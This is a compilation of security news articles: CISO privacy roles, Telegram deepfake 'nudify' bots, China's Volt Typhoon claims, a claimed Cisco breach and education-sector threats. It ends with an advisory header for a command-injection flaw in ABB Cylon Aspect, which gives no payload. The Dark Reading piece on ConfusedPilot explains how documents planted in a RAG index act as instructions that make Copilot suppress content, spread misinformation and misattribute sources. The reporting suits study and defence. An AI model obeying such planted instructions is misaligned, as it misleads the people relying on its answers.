A heated regulatory landscape, uncertainty over AI use, and how it all ties back to cybersecurity means CISOs have to add privacy to their portfolios.

Source: Leo Wolfert via Alamy Stock Photo

Years ago, when Mark Eggleston was tasked with building a privacy program for a national healthcare provider, he saw firsthand the importance of cross-functional collaboration.

"I needed legal experts to debate the HIPAA Privacy, NPRM \[Notice of Proposed Rulemaking\], final rule, and guidance and convert those requirements into internal policies," Eggleston recalls. "CISOs can bring efficiency and reliance to these procedures by implementing technical controls."

Eggleston, who is currently the chief information security officer (CISO) at CSC, a provider of business administration and compliance solutions, now recognizes how this collaboration underscores a larger trend occurring: CISOs are increasingly taking responsibility for privacy within organizations. According to research from IANS, CISO ownership of privacy has surged from 35% to 47% over the past five years. This growing role comes as privacy management and cybersecurity become more intertwined, fueled by regulatory pressures; evolving questions and concerns about certain technologies, like artificial intelligence (AI); and the always present desire to avoid becoming a victim of a data breach.

Traditionally, privacy and security were considered separate domains within an organization. Privacy was the responsibility of legal or compliance teams, while CISOs focused on protecting the organization from cyber threats. However, the line between these two areas is blurring, and more CISOs are being asked to handle privacy functions.

"When a CISO conducts a risk assessment or looks at data flow, they're already thinking about how to protect that information," says Rebecca Herold, CEO of The Privacy Professor and an IANS faculty member. Adding privacy to the role simply formalizes what they're already doing in many cases, she says.

Yunique Demann, senior director and data protection officer at NTT Data Americas, began her career in a security role and then moved into a privacy position, giving her a view into both disciplines.

"With the rise in data breaches, regulations, and regulatory scrutiny outside your legal, risk, or compliance functions, CISOs are becoming a natural fit to oversee privacy controls," she says. "Privacy is one of many areas that have impacted a CISO's role."

**Why CISOs Are Taking on Privacy Roles**

Another driver behind the shift in responsibility is the ever-changing regulatory landscape. Privacy laws, like the General Data Protection Regulation (GDPR) in Europe and the California Consumer Privacy Act (CCPA) in the US, are placing greater demands on organizations to protect personal data. These regulations require organizations to have robust privacy controls, and, in many cases, the CISO is seen as integral to helping to oversee those efforts. CSC's Eggleston, who has held both CISO and chief privacy officer (CPO) roles, says the shift has been afoot for years, as CISOs have had to work with other departments where privacy is also essential.

"Most CISOs are already working strongly with human resources and legal teams, and the focus on privacy makes it paramount to continue to do so, as both HR and legal have core interest in privacy matters," he says. "Even the NIST Cybersecurity Framework is now integrating privacy into its guidelines."

With CISOs taking on more privacy duties comes a growing need to balance these responsibilities with their traditional focus on cybersecurity. There is also the potential for a conflict of interest, Demann says.

"But this is handled when operational privacy responsibilities are given to a DPO \[data protection officer\], while keeping the reporting line into security," she says.

In addition to regulatory pressures, advances in technology, such as the widespread adoption of AI, are contributing to CISOs' expanded role in privacy management. A recent survey from the International Association of Privacy Professionals (IAPP) found that 69% of chief privacy officers now have additional responsibility for AI governance, and 37% for cybersecurity regulatory compliance. And for good reason, says Demann, because many areas around AI require more scrutiny from both a privacy and security perspective.

"Privacy risks occur when the use of AI conflicts with these fundamentals and lacks transparency and incorporates bias in the process," she says. "Just because your LLM \[large language model\] can utilize huge amounts of data points, it doesn't mean it should, especially without consent of the individuals whose data you are using. Consent should be clear and explicit. Unfortunately, we are finding too many situations where consent is hidden."

**Reskilling to Handle Privacy**

The skills required for privacy management are also evolving, and CISOs must be prepared to adapt.

"Privacy is fundamentally about protecting individuals' rights and ensuring the processing of personal data is performed in accordance with applicable laws," Demann says. "This requires a deeper understanding of legal, ethical, and regulatory frameworks and a focus on data governance, consent management, and transparency."

She encourages CISOs to engage with privacy communities, collaborate with privacy leads, and actively seek opportunities to expand their knowledge of privacy issues.

For CISOs, collaboration with CPOs and legal departments is also key to ensuring both security and privacy compliance within their organizations. Demann recommends regular communication and joint initiatives, such as combined tabletop exercises and industry presentations, to create a unified approach to privacy and security.

"The more privacy and security leads can show up together, the easier it is for the organization to have a strategic approach," she says.

Eggleston stresses the importance of staying informed through think tank digests, privacy updates from legal firms, and ongoing discussions with jurisdictional staff.

"Many EMEA countries have much more detailed and stronger requirements for privacy," he notes, citing Luxembourg's Professional Secrecy obligation as an example.

Looking ahead, CISOs need to be prepared to navigate emerging privacy trends, whether or not privacy is in their purview. As the role expands, they will need to continue building their knowledge of privacy laws and collaborating across departments to protect both company data and individuals' rights.

"Security is about confidentiality, and privacy is fundamentally about confidentiality," Eggleston concludes. "Privacy and security are stronger together."

**About the Author**

Contributing Writer, Dark Reading

Joan Goodchild is a veteran journalist, editor, and writer who has been covering security for more than a decade. She has written for several publications and previously served as editor-in-chief for CSO Online.

CISOs' Privacy Responsibilities Keep Growing

Global Intelligence claims its Cybercheck technology can help cops find key evidence to nail a case. But a WIRED investigation reveals the smoking gun often appears far less solid.

This AI Tool Helped Convict People of Murder. Then Someone Took a Closer Look

Bots that “remove clothes” from images have run rampant on the messaging app, allowing people to create nonconsensual deepfake images even as lawmakers and tech companies try to crack down.

In early 2020, deepfake expert Henry Ajder uncovered one of the first Telegram bots built to “undress” photos of women using artificial intelligence. At the time, Ajder recalls, the bot had been used to generate more than 100,000 explicit photos—including those of children—and its development marked a “watershed” moment for the horrors deepfakes could create. Since then, deepfakes have become more prevalent, more damaging, and easier to produce.

Now, a WIRED review of Telegram communities involved with the explicit nonconsensual content has identified at least 50 bots that claim to create explicit photos or videos of people with only a couple of clicks. The bots vary in capabilities, with many suggesting they can “remove clothes” from photos while others claim to create images depicting people in various sexual acts.

The 50 bots list more than 4 million “monthly users” combined, according to WIRED's review of the statistics presented by each bot. Two bots listed more than 400,000 monthly users each, while another 14 listed more than 100,000 members each. The findings illustrate how widespread explicit deepfake creation tools have become and reinforce Telegram’s place as one of the most prominent locations where they can be found. However, the snapshot, which largely encompasses English-language bots, is likely a small portion of the overall deepfake bots on Telegram.

“We’re talking about a significant, orders-of-magnitude increase in the number of people who are clearly actively using and creating this kind of content,” Ajder says of the Telegram bots. “It is really concerning that these tools—which are really ruining lives and creating a very nightmarish scenario primarily for young girls and for women—are still so easy to access and to find on the surface web, on one of the biggest apps in the world.”

Explicit nonconsensual deepfake content, which is often referred to as nonconsensual intimate image abuse (NCII), has exploded since it first emerged at the end of 2017, with generative AI advancements helping fuel recent growth. Across the internet, a slurry of “nudify” and “undress” websites sit alongside more sophisticated tools and Telegram bots, and are being used to target thousands of women and girls around the world—from Italy’s prime minister to school girls in South Korea. In one recent survey, a reported 40 percent of US students were aware of deepfakes linked to their K-12 schools in the last year.

The Telegram bots identified by WIRED are supported by at least 25 associated Telegram channels—where people can subscribe to newsfeed-style updates—that have more than 3 million combined members. The Telegram channels alert people about new features provided by the bots and special offers on “tokens” that can be purchased to operate them, and often act as places where people using the bots can find links to new ones if they are removed by Telegram.

After WIRED contacted Telegram with questions about whether it allows explicit deepfake content creation on its platform, the company deleted the 75 bots and channels WIRED identified. The company did not respond to a series of questions or comment on why it had removed the channels.

Additional nonconsensual deepfake Telegram channels and bots later identified by WIRED show the scale of the problem. Several channel owners posted that their bots had been taken down, with one saying, “We will make another bot tomorrow.” Those accounts were also later deleted.

**Hiding in Plain Sight**

Telegram bots are, essentially, small apps that run inside of Telegram. They sit alongside the app’s channels, which can broadcast messages to an unlimited number of subscribers; groups where up to 200,000 people can interact; and one-to-one messages. Developers have created bots where people take trivia quizzes, translate messages, create alerts, or start Zoom meetings. They’ve also been co-opted for creating abusive deepfakes.

Due to the harmful nature of the deepfake tools, WIRED did not test the Telegram bots and is not naming specific bots or channels. While the bots had millions of monthly users, according to Telegram’s statistics, it is unclear how many images the bots may have been used to create. Some users, who could be in multiple channels and bots, may have created zero images; others could have created hundreds.

Many of the deepfake bots viewed by WIRED are clear about what they have been created to do. The bots’ names and descriptions refer to nudity and removing women’s clothes. “I can do anything you want about the face or clothes of the photo you give me,” the creators’ of one bot wrote. “Experience the shock brought by AI,” another says. Telegram can also show “similar channels” in its recommendation tool, helping potential users bounce between channels and bots.

Almost all of the bots require people to buy “tokens” to create images, and it is unclear if they operate in the ways they claim. As the ecosystem around deepfake generation has flourished in recent years, it has become a potentially lucrative source of income for those who create websites, apps, and bots. So many people are trying to use “nudify” websites that Russian cybercriminals, as reported by 404Media, have started creating fake websites to infect people with malware.

While the first Telegram bots, identified several years ago, were relatively rudimentary, the technology needed to create more realistic AI-generated images has improved—and some of the bots are hiding in plain sight.

One bot with more than 300,000 monthly users did not reference any explicit material in its name or landing page. However, once a user clicks to use the bot, it claims it has more than 40 options for images, many of which are highly sexual in nature. That same bot has a user guide, hosted on the web outside of Telegram, describing how to create the highest-quality images. Bot developers can require users to accept terms of service, which may forbid users from uploading images without the consent of the person depicted or images of children, but there appears to be little or no enforcement of these rules.

Another bot, which had more than 38,000 users, claimed people could send six images of the same man or woman—it is one of a small number that claims to create images of men—to “train” an AI model, which could then create new deepfake images of that individual. Once users joined one bot, it would present a menu of 11 “other bots” from the creators, likely to keep systems online and try to avoid removals.

“These types of fake images can harm a person’s health and well-being by causing psychological trauma and feelings of humiliation, fear, embarrassment, and shame,” says Emma Pickering, the head of technology-facilitated abuse and economic empowerment at Refuge, the UK’s largest domestic abuse organization. “While this form of abuse is common, perpetrators are rarely held to account, and we know this type of abuse is becoming increasingly common in intimate partner relationships.”

As explicit deepfakes have become easier to create and more prevalent, lawmakers and tech companies have been slow to stem the tide. Across the US, 23 states have passed laws to address nonconsensual deepfakes, and tech companies have bolstered some policies. However, apps that can create explicit deepfakes have been found in Apple and Google’s app stores, explicit deepfakes of Taylor Swift were widely shared on X in January, and Big Tech sign-in infrastructure has allowed people to easily create accounts on deepfake websites.

Kate Ruane, director of the Center for Democracy and Technology’s free expression project, says most major technology platforms now have policies prohibiting nonconsensual distribution of intimate images, with many of the biggest agreeing to principles to tackle deepfakes. “I would say that it’s actually not clear whether nonconsensual intimate image creation or distribution is prohibited on the platform,” Ruane says of Telegram’s terms of service, which are less detailed than other major tech platforms.

Telegram’s approach to removing harmful content has long been criticized by civil society groups, with the platform historically hosting scammers, extreme right-wing groups, and terrorism-related content. Since Telegram CEO and founder Pavel Durov was arrested and charged in France in August relating to a range of potential offenses, Telegram has started to make some changes to its terms of service and provide data to law enforcement agencies. The company did not respond to WIRED’s questions about whether it specifically prohibits explicit deepfakes.

**Execute the Harm**

Ajder, the researcher who discovered deepfake Telegram bots four years ago, says the app is almost uniquely positioned for deepfake abuse. “Telegram provides you with the search functionality, so it allows you to identify communities, chats, and bots,” Ajder says. “It provides the bot-hosting functionality, so it's somewhere that provides the tooling in effect. Then it’s also the place where you can share it and actually execute the harm in terms of the end result.”

In late September, several deepfake channels started posting that Telegram had removed their bots. It is unclear what prompted the removals. On September 30, a channel with 295,000 subscribers posted that Telegram had “banned” its bots, but it posted a new bot link for users to use. (The channel was removed after WIRED sent questions to Telegram.)

“One of the things that’s really concerning about apps like Telegram is that it is so difficult to track and monitor, particularly from the perspective of survivors,” says Elena Michael, the cofounder and director of #NotYourPorn, a campaign group working to protect people from image-based sexual abuse.

Michael says Telegram has been “notoriously difficult” to discuss safety issues with, but notes there has been some progress from the company in recent years. However, she says the company should be more proactive in moderating and filtering out content itself.

“Imagine if you were a survivor who’s having to do that themselves, surely the burden shouldn't be on an individual,” Michael says. “Surely the burden should be on the company to put something in place that's proactive rather than reactive.”

Millions of People Are Using Abusive AI ‘Nudify’ Bots on Telegram

China's National Computer Virus Emergency Response Center (CVERC) has doubled down on claims that the threat actor known as the Volt Typhoon is a fabrication of the U.S. and its allies.
The agency, in collaboration with the National Engineering Laboratory for Computer Virus Prevention Technology, went on to accuse the U.S. federal government, intelligence agencies, and Five Eyes countries of

China's National Computer Virus Emergency Response Center (CVERC) has doubled down on claims that the threat actor known as **the Volt Typhoon** is a fabrication of the U.S. and its allies.

The agency, in collaboration with the National Engineering Laboratory for Computer Virus Prevention Technology, went on to accuse the U.S. federal government, intelligence agencies, and Five Eyes countries of conducting cyber espionage activities against China, France, Germany, Japan, and internet users globally.

It also said there's "ironclad evidence" indicating that the U.S. carries out false flag operations in an attempt to conceal its own malicious cyber attacks, adding it's inventing the "so-called danger of Chinese cyber attacks" and that it has established a "large-scale global internet surveillance network."

"And the fact that the U.S. adopted supply chain attacks, implanted backdoors in internet products and 'pre-positioned' has completely debunked the Volt Typhoon – a political farce written, directed, and acted by the U.S. federal government," it said.

"The U.S. military base in Guam has not been a victim of the Volt Typhoon cyber attacks at all, but the initiator of a large number of cyberattacks against China and many Southeast Asian countries and the backhaul center of stolen data."

It's worth noting that a previous report published by CVERC in July characterized the Volt Typhoon as a misinformation campaign orchestrated by the U.S. intelligence agencies.

Volt Typhoon is the moniker assigned to a China-nexus cyber espionage group that's believed to be active since 2019, stealthily embedding itself into critical infrastructure networks by routing traffic through edge devices compromising routers, firewalls, and VPN hardware in an effort to blend in and fly under the radar.

As recently as late August 2024, it was linked to the zero-day exploitation of a high-severity security flaw impacting Versa Director (CVE-2024-39717, CVSS score: 6.6) to deliver a web shell named VersaMem for facilitating credential theft and run arbitrary code.

The use of edge devices by China-linked intrusion sets has become something of a pattern in recent years, with some campaigns leveraging them as Operational Relay Boxes (ORBs) to evade detection.

This is substantiated by a recent report published by French cybersecurity company Sekoia, which attributed threat actors likely of Chinese origin to a wide-range attack campaign that infects edge devices like routers and cameras to deploy backdoors such as GobRAT and Bulbature for follow-on attacks against targets of interest.

"Bulbature, an implant that was not yet documented in open source, seems to be only used to transform the compromised edge device into an ORB to relay attacks against final victims networks," the researchers said.

"This architecture, consisting of compromised edge devices acting as ORBs, allows an operator to carry out offensive cyber operations around the world near to the final targets and hide its location by creating on-demand proxies tunnels."

In the latest 59-page document, Chinese authorities said more than 50 security experts from the U.S., Europe, and Asia reached out to the CVERC, expressing concerns related to "the U.S. false narrative" about Volt Typhoon and the lack of evidence linking the threat actor to China.

The CVERC, however, did not name those experts, nor their reasons to back up the hypothesis. It further went on to state that the U.S. intelligence agencies created a stealthy toolkit dubbed Marble no later than 2015 with the intent to confuse attribution efforts.

"The toolkit is a tool framework that can be integrated with other cyber weapon development projects to assist cyber weapon developers in obfuscating various identifiable features in program code, effectively 'erasing' the 'fingerprints' of cyber weapon developers," it said.

"What's more, the framework has a more 'shameless' function to insert strings in other languages, such as Chinese, Russian, Korean, Persian, and Arabic, which is obviously intended to mislead investigators and frame China, Russia, North Korea, Iran, and Arab countries."

The report further takes the opportunity to accuse the U.S. of relying on its "innate technological advantages and geological advantages in the construction of the internet" to control fiber optic cables across the Atlantic and the Pacific and using them for "indiscriminate monitoring" of internet users worldwide.

It also alleged that companies like Microsoft and CrowdStrike have resorted to giving "absurd" monikers with "obvious geopolitical overtones" for threat activity groups with names like "typhoon," "panda," and "dragon."

"Again, we would like to call for extensive international collaboration in this field," it concluded. "Moreover, cybersecurity companies and research institutions should focus on counter-cyber threat technology research and better products and services for users."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

China Accuses U.S. of Fabricating Volt Typhoon to Hide Its Own Hacking Campaigns

Intel Broker claims a major data breach at Cisco, allegedly stealing source codes, confidential documents, and credentials from…

Intel Broker claims a major data breach at Cisco, allegedly stealing source codes, confidential documents, and credentials from global firms like Verizon, AT&T, Microsoft, and more. Data is now for sale on Breach Forums.

Intel Broker, a hacker notorious for high-profile data breaches, is claiming to have breached the technology giant Cisco Systems, Inc. In a post on the cybercrime platform **Breach Forums**, the hacker stated that the breach enabled them to steal a massive amount of sensitive information from Cisco’s systems.

According to the hacker, the alleged data breach took place on October 10, 2024, while the Breach Forum post was published earlier today on October 14, 2024.

Intel Broker’s post (Screenshot: Hackread.com)

****What Was Allegedly Stolen?****

As seen by the Hackread.com research team, Intel Broker has listed a massive amount of data that was allegedly stolen in the breach, including:

*   **Source Code**: Projects from GitHub, GitLab, and SonarQube, critical to Cisco’s development efforts.
*   **Hard-Coded Credentials**: Sensitive information like login details embedded in source code.
*   **Certificates and Keys**: SSL certificates, and public and private keys crucial for secure communications.
*   **Confidential Documents**: Internal documents and information classified as “Cisco Confidential.”
*   **API Tokens and Storage Buckets**: AWS private buckets, Azure storage buckets, and API tokens that could be used to access critical systems.
*   **Other Sensitive Information**: Jira tickets, Docker builds, and Cisco premium products are also listed.

****Impact on Major Corporations****

Intel Broker also shared a list of companies whose production source codes were allegedly taken during the breach. The list includes several high-profile firms, particularly in the telecommunications and financial sectors, such as:

*   **Telecom Companies**: Verizon, AT&T (USA and Mexico), British Telecom, T-Mobile (USA and Poland), Vodafone (Albania and Australia), and Turkcell.
*   **Financial Institutions**: Bank of America, Barclays, and National Australian Bank.
*   **Tech and Health**: Microsoft, Liberty Global, and Dignity Health.

Sample documents shared by the hacker (Screenshot: Hackread.com)

****Data for Sale****

Intel Broker is offering the stolen data for sale in exchange for Monero (XMR), a cryptocurrency known for its privacy features. The hacker indicated that they are open to using a middleman to facilitate the transaction, ensuring **anonymity** for both the buyer and seller. This method is a common practice among cybercriminals to avoid detection and tracking by authorities.

****Unverified but Serious Claims****

At the time of writing, Hackread.com, which first spotted the hacker’s claims, has reached out to Cisco for comment, but no official response has been given. The breach, if confirmed, could have major consequences for Cisco and the affected companies, raising concerns about the extent of the damage and the potential exploitation of the compromised data.

****Intel Broker and Previous Breaches****

Intel Broker is known for high-profile data breaches. **In June 2024**, the hacker claimed to have breached Apple Inc., stealing source code for internal tools. The same hacker boasted about **breaching AMD** (Advanced Micro Devices, Inc.), and stealing employee and product information.

**In May 2024**, Intel Broker hacked Europol, a breach that the agency later confirmed. Some of the hacker’s previous data breaches are listed below:

*   **Tech in Asia**
*   **Space-Eyes**
*   **Home Depot**
*   **Facebook Marketplace**
*   **U.S. contractor Acuity Inc.**
*   **Staffing giant Robert Half**
*   **Los Angeles International Airport**
*   **Alleged breaches of HSBC and Barclays Bank**

Although the hacker’s origins and affiliates are unknown, according to the United States government, IntelBroker is alleged to be the perpetrator behind one of the **T-Mobile data breaches**.

Nevertheless, these claims regarding the Cisco data breach go on to show the cybersecurity risks faced even by large organizations. As more details emerge, the scale of this breach and its potential fallout will be closely watched.

1.  **Akira Ransomware Targets Businesses via Exploited CISCO VPNs**
2.  **Cisco Network Breach as Employee’s Google Account** **was** **Hacked**
3.  **Hackers Claim 10TB Breach at Russian Cybersecurity Firm Dr.Web**
4.  **Hackers leave US flag after targeting Cisco switches in Russia & Iran**
5.  **Ex-worker hacked Cisco AWS Infrastructure; erased virtual machines**

Intel Broker Claims Cisco Breach, Selling Stolen Data from Major Firms

Education, including K-12 schools and universities, has become the third most targeted sector due to the high variety of sensitive data it stores in its databases.

Source: SeventyFour Images via Alamy Stock Photo

Malicious actors are increasingly targeting K-12 and higher education institutions, an "industry of industries" as Microsoft's new report calls it, due to the immense amount of private data that these enterprises handle.

From information regarding financial data to health records and other sensitive information, hackers have a host of pickings to choose from if they are successful in their exploitation attempts, Microsoft's Threat Intelligence report explained.

"The combination of value and vulnerability found in education systems has attracted the attention of a spectrum of cyberattackers — from malware criminals employing new techniques to nation-state threat actors engaging in old-school spy craft," Microsoft said.

Education as an industry faces a variety of issues that prompt attacks from hackers: security staffing limitations; difficult-to-secure IT systems; virtual/remote learning environments; extensive QR code usage; open email systems; lack of funding; and more. There's also the issue of users — some as young as 6 years old — who are too young to know safe cybersecurity habits and are liable to compromise a network. 

The education sector deals with an average of 2,507 attempted cyberattacks on a weekly basis from nation-state groups to ransomware gangs, with universities especially presenting their own unique challenges due to the culture of sharing information, research, and innovation, Microsoft found.

Some of the nation-state actors that Microsoft highlights are Peach Sandstorm, Mint Sandstorm, Mabna Institute, Emerald Sleet, and Moonstone Sleet, with an honorable mention for Storm-1877, which is still in development. 

Education institutions can protect themselves from these threats by implementing a new security curriculum, such as maintaining and scaling core cyber hygiene, prioritizing cyber awareness at all levels, whether students, IT staff, or faculty. Microsoft also advised hardening overall security posture as well as centralizing the technology stack, and implementing better monitoring procedures to get a clear picture of security posture and potential vulnerabilities.  

Microsoft highlighted some institutions such as Oregon State University and the Arizona Department of Education, which are both doing noteworthy jobs of implementing an ace cyber posture. The former's progress came in response to a major cybersecurity incident, prompting its Security Operations Center (SOC) alongside the help of AI and automated capabilities; the latter which focuses on zero-trust principles by blocking any traffic outside of the US from its 365 environment, Azure, and data center.

Microsoft: Schools Grapple With Thousands of Cyberattacks Weekly

Attackers can introduce a malicious document in systems such as Microsoft 365 Copilot to confuse the system, potentially leading to widespread misinformation and compromised decision-making processes.

Source: Mopic via Shutterstock

Attackers can add a malicious document to the data pools used by artificial intelligence (AI) systems to create responses, which can confuse the system and potentially lead to misinformation and compromised decision-making processes within organizations.

Researchers from the Spark Research Lab at the University of Texas (UT) at Austin discovered the attack vector, which they've dubbed ConfusedPilot because it affects all retrieval augmented generation (RAG)-based AI systems, including Microsoft 365 Copilot. This includes other RAG-based systems that use Llama, Vicuna, and OpenAI, according to the researchers.

"This attack allows manipulation of AI responses simply by adding malicious content to any documents the AI system might reference," Claude Mandy, chief evangelist at Symmetry, wrote in a paper about the attack, which was presented at the DEF CON AI Village 2024 conference in August but was not widely reported. The research was conducted under the supervision of Symmetry CEO and UT professor Mohit Tiwari.

Given that 65% of Fortune 500 companies currently implement or are planning to implement RAG-based AI systems, the potential impact of these attacks cannot be overstated," Mandy wrote. Moreover, the attack is especially dangerous that it requires only basic access to manipulate responses by all RAG-based AI implementations, can persist even after malicious content is removed, and bypasses current AI security measures, he said.

**Malicious Manipulation of RAG**

RAG is a technique for improving response quality and eliminating a large language model (LLM) system’s expensive retraining or fine-tuning phase. It adds a step to the system in which the model retrieves external data to augment its knowledge base, thus enhancing accuracy and reliability in generating responses without the need for retraining or fine-tuning, the researchers said.

The researchers chose to focus on Microsoft 365 Copilot for the sake of their presentation and their paper, even though it is not the only RAG-based system affected. Rather, "the main culprit of this problem is misuse of RAG-based systems … via improper setup of access control and data security mechanisms," according to the ConfusedPilot website hosted by the researchers.

In normal circumstances, a RAG-based AI system will use a retrieval mechanism to extract relevant keywords to search and match with resources stored in a vector database, using that embedded context to create a new prompt containing the relevant information to reference.

**How the Attack Works**

In a ConfusedPilot attack, a threat actor could introduce an innocuous document that contains specifically crafted strings into the target’s environment. "This could be achieved by any identity with access to save documents or data to an environment indexed by the AI copilot," Mandy wrote.

The attack flow that follows from the user's perspective is this: When a user makes a relevant query, the RAG system retrieves the document containing these strings. The malicious document contains strings that could act as instructions to the AI system that introduce a variety of malicious scenarios.

These include: content suppression, in which the malicious instructions cause the AI to disregard other relevant, legitimate content; misinformation generation, in which the AI generates a response using only the corrupted information; and false attribution, in which the response may be falsely attributed to legitimate sources, increasing its perceived credibility.

Moreover, even if the malicious document is later removed, the corrupted information may persist in the system’s responses for a period of time because the AI system retains the instructions, the researchers noted.

**Victimology and Mitigations**

The ConfusedPilot attack basically has two victims: The first is the LLM within the RAG-based system, while the second is the person receiving the response from the LLM, who very likely could be an individual working at a large enterprise or service provider. Indeed, these two types of companies are especially vulnerable to the attack, as they allow multiple users or departments to contribute to the data pool used by these AI systems, Mandy noted.

"Any environment that allows the input of data from multiple sources or users — either internally or from external partners — is at higher risk, given that this attack only requires data to be indexed by the AI Copilots," he wrote.

Enterprise systems likely to be negatively affected by the attack include enterprise knowledge-management systems, AI-assisted decision support systems, and customer-facing AI services.

Microsoft did not immediately respond to request for comment by Dark Reading on the attack's affect on Copilot. However, the researchers noted in their paper that the company has been responsive in coming up with "practical mitigation strategies" and addressing the potential for attack in its development of its AI technology. Indeed, the latter is key to long-term defense against such an attack, which depends on "better architectural models" that "try to separate the data plan from the control plan in these models," Mandy noted.

Meanwhile, current strategies for mitigation include: data access controls that limit and scrutinize who can upload, modify, or delete data that RAG-based systems reference; data integrity audits that regularly verify the integrity of an organization's data repositories to detect unauthorized changes or the introduction of malicious content early; and data segmentation that keeps sensitive data isolated from broader datasets wherever possible to prevent the spread of corrupted info across the AI system.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

ConfusedPilot Attack Can Manipulate RAG-Based AI Systems

Ultimately, the goal of creating a trusted environment around all digital assets and devices is about modernizing the way you do business.

Alex Simons, Corporate VP, Product Management, Microsoft Identity and Network Access

October 14, 2024

5 Min Read

Source: Brian Jackson via Alamy Stock Photo

COMMENTARY

In today's digital world, threats are around every corner. The technology behind attacks is increasingly sophisticated. Actors include criminal organizations seeking big payouts and nation-states conducting espionage and looking for opportunities to create chaos.  

At the same time, the world continues to transform rapidly around us. With artificial intelligence (AI), we're about to go through the biggest business transformation since the widespread adoption of the Internet, and the bad guys are also exploring how they can use AI for harm.  

In a mobile, cloud-first, AI-driven world, companies must be ready to use world-class technology and processes to protect themselves, their data, and their people, wherever they go.  

Today, those technologies are coalescing around a modern vision for what is, at its heart, one of our most ancient security solutions: our own unique identity. Let's take a look at how a modern version of this ancient solution can help protect our digital lives.  

**Your Castle Walls Have Fallen. What Now? **

Fifteen years ago, the world's security best practice was a "moat-and-castle" model. Organizations kept their most important resources inside their office networks and wrapped a firewall around them.  

As long as their people and resources were inside the wall, everybody could connect to everything as the entire estate was trusted and contained. Your biggest concerns were insider threats or invaders trying to storm your firewall.  

Today, many employees are embracing hybrid and mobile workstyles. We're also adding cloud-scale AI that, by design, is not inside the firewall, while highly mobile workers use VPNs to access applications while outside the network. All this makes the old moat-and-castle security paradigm terribly outdated.  

Additionally, in many ways, companies are becoming cloud services — as their partners, suppliers and customers increasingly interact with them through digital experiences for product discovery, ordering, payment, invoicing, customer service, and customer loyalty programs.  

**Since Data and People Are Always in Transit, Security Should Flow Wherever They Go**

In a world where every organization is a cloud service that needs to securely interact with everybody and everything, companies must ensure that all of their connections are secure and that only the right people, software, devices, and networks are allowed access.  

This is known as a zero-trust model. In a zero-trust environment, every time a user, a device, or a workload wants to access your digital assets and services, they have to prove that they, their software, and the network they're using are all trustworthy. This is why identity plays such an important role in this new security model. By default, all access to everything is closed off until you have a strong proof of the identity and authenticity of the person and of their device. 

Designing, deploying, and running this kind of identity powered zero-trust enterprise environment can be challenging. It requires having a coordinated strategy across multiple teams to design, deploy, and run a security solution that brings together user and workload accounts, device management, device protection, network state, and an inventory of digital resources and permissions, and enables the enforcement of adaptive, granular access policies across the enterprises entire digital estate. 

**Identity: Even More Important in the Era of AI **

If your organization doesn't have this kind of identity-centric zero-trust model in place today, moving to an AI future is going to be risky and challenging. When you deploy a large language model (LLM) assistant, it becomes incredibly easy for employees to find content from across all your  documents and files, even the ones you didn’t know they had rights to access.  

And that also means an intruder could use the AI assistant to run queries for assets that they never should be able to find. Where organizations used to have the benefit of obscure file hierarchies to waste an attacker's time, today's super-smart AI engines make it incredibly easy to quickly find information anywhere it's stored.  

The solution is something called "workload identities." A workload identity is the identity your software systems use to get things done. Having your co-pilot or your LLM use a workload identity with well-managed permissions means that it can only get to the specific documents and files you allow it to access, which enables you to govern and secure the LLM's access just like you would for any user.  

**Modern Security Benefits Everyone**

Ultimately, creating a trusted environment can modernize the way you do business. Now, employees can work from anywhere. The company can hire talent it wouldn't have access to before. The company can work directly with customers and suppliers digitally. And you can do all that in a world of cloud, AI, and mobile resources that can easily scale up and down.  

Employees, partners, and customers all get a seamless experience on the devices they choose, wherever they want to work. And chief information security officers (CISOs) can be confident that it's happening with security omnipresent.  

And it's all made possible by focusing on the oldest access solution of all — your own unique identity.  

**About the Author**

Corporate VP, Product Management, Microsoft Identity and Network Access

Alex Simons is corporate vice president, product management, Microsoft Identity and Network Access Division. He is responsible for driving the vision and strategy, product roadmap, and feature design of the Microsoft Entra Suite. He prides himself on being deeply connected to customers and has direct relationships with many of Microsoft’s largest enterprise customers. In addition to managing his own team, Alex is responsible for partnering with teams across Office, Windows, Azure, Visual Studio, Dynamics, Xbox, and LinkedIn to deliver world-class identity experiences and security and compliance controls.

Why Your Identity Is the Key to Modernizing Cybersecurity

ABB Cylon Aspect version 3.08.00 suffers from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands through the PROXY HTTP POST parameter called by the yumSettings.php script.

  
ABB Cylon Aspect 3.08.00 (yumSettings.php) Remote Code Execution

Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
                  Firmware: <=3.08.00

Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an authenticated OS command  
injection vulnerability. This can be exploited to inject and execute arbitrary  
shell commands through the 'PROXY' HTTP POST parameter called by the yumSettings.php  
script.

Tested on: GNU/Linux 3.15.10 (armv7l)  
           GNU/Linux 3.10.0 (x86_64)  
           GNU/Linux 2.6.32 (x86_64)  
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
           PHP/7.3.11  
           PHP/5.6.30  
           PHP/5.4.16  
           PHP/4.4.8  
           PHP/5.3.3  
           AspectFT Automation Application Server  
           lighttpd/1.4.32  
           lighttpd/1.4.18  
           Apache/2.2.15 (CentOS)  
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
                            @zeroscience

Advisory ID: ZSL-2024-5841  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5841.php

21.04.2024

--

$ cat project

                 P   R   O   J   E   C   T

                        .|  
                        | |  
                        |'|            ._____  
                ___    |  |            |.   |' .---"|  
        _    .-'   '-. |  |     .--'|  ||   | _|    |  
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |  
     |' | |.    |    ||       | |   |  |    ||      |  
 ____|  '-'     '    ""       '-'   '-.'    '`      |____  
